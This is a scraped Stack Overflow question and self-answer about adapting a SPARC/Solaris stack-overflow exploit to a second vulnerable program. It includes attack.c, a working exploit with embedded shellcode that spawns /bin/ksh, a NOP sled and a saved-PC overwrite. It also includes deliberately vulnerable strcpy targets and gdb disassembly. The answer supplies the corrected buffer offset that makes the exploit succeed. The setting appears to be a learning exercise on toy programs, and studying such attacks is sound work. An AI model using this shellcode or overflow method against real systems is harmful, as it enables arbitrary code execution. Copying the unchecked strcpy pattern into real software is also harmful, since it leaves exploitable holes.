Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Stack Overflow on SUN Sparc

Tags:

c

sun

sparc

/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode */
static char shell[] =        /* 10*4+8 bytes */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x7f\xff\xff\xff"   /* call  */
        "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
        "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
        "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
        "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
        "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
        "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
        "\x91\xd0\x20\x08"   /* ta 8 */
        "/bin/ksh" ;

#define BUFSIZE 464
#define DUFSIZE 456

/* SPARC NOP */
static char np[] = "\xac\x15\xa1\x6e";

unsigned long get_sp( void ){ asm("or %sp,%sp,%i0"); }

main( int argc, char *argv[] ) {

        char buf[ BUFSIZE+1 ],*ptr;
        unsigned long ret,sp;
        int rem,i,err;
        ret = sp = get_sp();

        /* align return address */
        if( ( rem = ret % 8 ) ){ ret &= ~(rem); }

        bzero( buf, BUFSIZE );
        for(i = 0; i < BUFSIZE; i += 4)
          strcpy( &buf[i], np );

        memcpy( (buf + BUFSIZE - strlen( shell ) - 8), shell, strlen( shell ));

        ptr = &buf[DUFSIZE];

        /* set fp to a save stack value */
        *( ptr++ ) = ( sp >> 24 ) & 0xff;
        *( ptr++ ) = ( sp >> 16 ) & 0xff;
        *( ptr++ ) = ( sp >> 8 ) & 0xff;
        *( ptr++ ) = ( sp ) & 0xff;

        /* overwrite saved PC */
        *( ptr++ ) = ( ret >> 24 ) & 0xff;
        *( ptr++ ) = ( ret >> 16 ) & 0xff;
        *( ptr++ ) = ( ret >> 8 ) & 0xff;
        *( ptr++ ) = ( ret ) & 0xff;

        buf[ BUFSIZE ] = 0;

        //err = execl( "./server1", "server1", buf, ( void *)0 );
        err = execl( "./server2", "server2", buf, ( void *)0 );
        if( err == -1 ) perror("execl");
}

Compiling and running attack.c, I'm able to exploiting the vulnerability in server1.c

/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
    char foo[400];
    int i, j, k;
    strcpy(foo, a);
    i = 1;
}

void main(int argc, char *argv[]){

    if(argc >=2 )copy( argv[1] );
}

But attack.c doesn't do the same with server2. Any idea why?

/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
    char buf[200];
    int i, j, k;
    strcpy(buf,a);
    i = 1;
}

void copy1(const char *a){
    char foo[200];
    int i, j, k;
    copy2(a);
    i = 1;
}

void main( int argc, char *argv[] ) {

    if (argc >=2 )copy1( argv[1] );
}

Here is the assembly for server2.c:

(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>:   save  %sp, -304, %sp
0x00010bdc <copy2+4>:   add  %fp, -200, %o0
0x00010be0 <copy2+8>:   call  0x20ce8 <strcpy@plt>
0x00010be4 <copy2+12>:  mov  %i0, %o1
0x00010be8 <copy2+16>:  mov  1, %l0
0x00010bec <copy2+20>:  st  %l0, [ %fp + -204 ]
0x00010bf0 <copy2+24>:  ret 
0x00010bf4 <copy2+28>:  restore 
0x00010bf8 <copy2+32>:  ret 
0x00010bfc <copy2+36>:  restore 
0x00010c00 <copy2+40>:  illtrap  0x10000
0x00010c04 <copy2+44>:  illtrap  0x10000
0x00010c08 <copy2+48>:  illtrap  0x10000
0x00010c0c <copy2+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>:   save  %sp, -304, %sp
0x00010c14 <copy1+4>:   call  0x10bd8 <copy2>
0x00010c18 <copy1+8>:   mov  %i0, %o0
0x00010c1c <copy1+12>:  mov  1, %l0
0x00010c20 <copy1+16>:  st  %l0, [ %fp + -204 ]
0x00010c24 <copy1+20>:  ret 
0x00010c28 <copy1+24>:  restore 
0x00010c2c <copy1+28>:  ret 
0x00010c30 <copy1+32>:  restore 
0x00010c34 <copy1+36>:  illtrap  0x10000
0x00010c38 <copy1+40>:  illtrap  0x10000
0x00010c3c <copy1+44>:  illtrap  0x10000
0x00010c40 <copy1+48>:  illtrap  0x10000
0x00010c44 <copy1+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas main 
Dump of assembler code for function main:
0x00010c48 <main+0>:    save  %sp, -96, %sp
0x00010c4c <main+4>:    cmp  %i0, 2
0x00010c50 <main+8>:    bl  0x10c68 <main+32>
0x00010c54 <main+12>:   nop 
0x00010c58 <main+16>:   call  0x10c10 <copy1>
0x00010c5c <main+20>:   ld  [ %i1 + 4 ], %o0
0x00010c60 <main+24>:   ret 
0x00010c64 <main+28>:   restore 
0x00010c68 <main+32>:   ret 
0x00010c6c <main+36>:   restore 
End of assembler dump.

And for server1.c:

(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>:    save  %sp, -504, %sp
0x00010bc4 <copy+4>:    add  %fp, -400, %o0
0x00010bc8 <copy+8>:    call  0x20c98 <strcpy@plt>
0x00010bcc <copy+12>:   mov  %i0, %o1
0x00010bd0 <copy+16>:   mov  1, %l0
0x00010bd4 <copy+20>:   st  %l0, [ %fp + -404 ]
0x00010bd8 <copy+24>:   ret 
0x00010bdc <copy+28>:   restore 
0x00010be0 <copy+32>:   ret 
0x00010be4 <copy+36>:   restore 
0x00010be8 <copy+40>:   illtrap  0x10000
0x00010bec <copy+44>:   illtrap  0x10000
0x00010bf0 <copy+48>:   illtrap  0x10000
0x00010bf4 <copy+52>:   illtrap  0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>:    save  %sp, -96, %sp
0x00010bfc <main+4>:    cmp  %i0, 2
0x00010c00 <main+8>:    bl  0x10c18 <main+32>
0x00010c04 <main+12>:   nop 
0x00010c08 <main+16>:   call  0x10bc0 <copy>
0x00010c0c <main+20>:   ld  [ %i1 + 4 ], %o0
0x00010c10 <main+24>:   ret 
0x00010c14 <main+28>:   restore 
0x00010c18 <main+32>:   ret 
0x00010c1c <main+36>:   restore 


End of assembler dump.

what do I need to modify in attack.c to make it exploit server2.c?

like image 419
Arlen Avatar asked Apr 17 '11 16:04

Arlen


1 Answers

pfff... finally.

#define BUFSIZE 464
#define DUFSIZE 256

I thought the offset was 8, but it's 200 + 8.

like image 177
Arlen Avatar answered Oct 01 '22 12:10

Arlen